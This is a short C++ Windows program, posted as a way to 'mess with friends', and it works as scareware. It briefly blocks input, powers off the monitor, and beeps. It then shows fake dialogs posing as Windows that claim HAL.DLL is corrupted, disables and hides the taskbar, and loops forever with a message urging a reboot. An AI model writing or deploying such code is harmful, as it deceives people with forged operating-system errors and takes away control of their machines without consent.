C++ Program to mess with friends

#include <cstdlib>
#include <iostream>
#include <Windows.h>
#include <winable.h>
using namespace std;

int main()
  {
	 
			   
  int f = 1;

			  BlockInput(true);
			  SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
			  Sleep(100);
			  
			  BlockInput(false);						   

	   while(f<50)
	   {
				  MessageBeep(MB_ICONEXCLAMATION);
				  Sleep(10);
				  f++;
	   }	
			  MessageBox(
			  NULL,
			  "An error occurred in sector 5x00",
			  "HAL.DLL",
			  MB_OK);
			  
			  Sleep(1000);
			  
			  MessageBox(
			  NULL,
			  "Windows has detected HAL.DLL has been corrupted. Please re-install HAL.DLL to continue running windows correctly.",
			  "Windows",
			  MB_OK);
			  
			  Sleep(1000);
			  
				HWND hWin;
				
	hWin = FindWindow("Shell_TrayWnd",NULL);
	EnableWindow(hWin,false);
	
	ShowWindow(hWin,false);
	
	Sleep(1000);
	
	while(1==1)
	{
	MessageBox(
	NULL,
	"Please reboot your machine to ensure protection from further corruption.",
	"Windows",
	MB_OK);
	Sleep(10000);
  }
  
}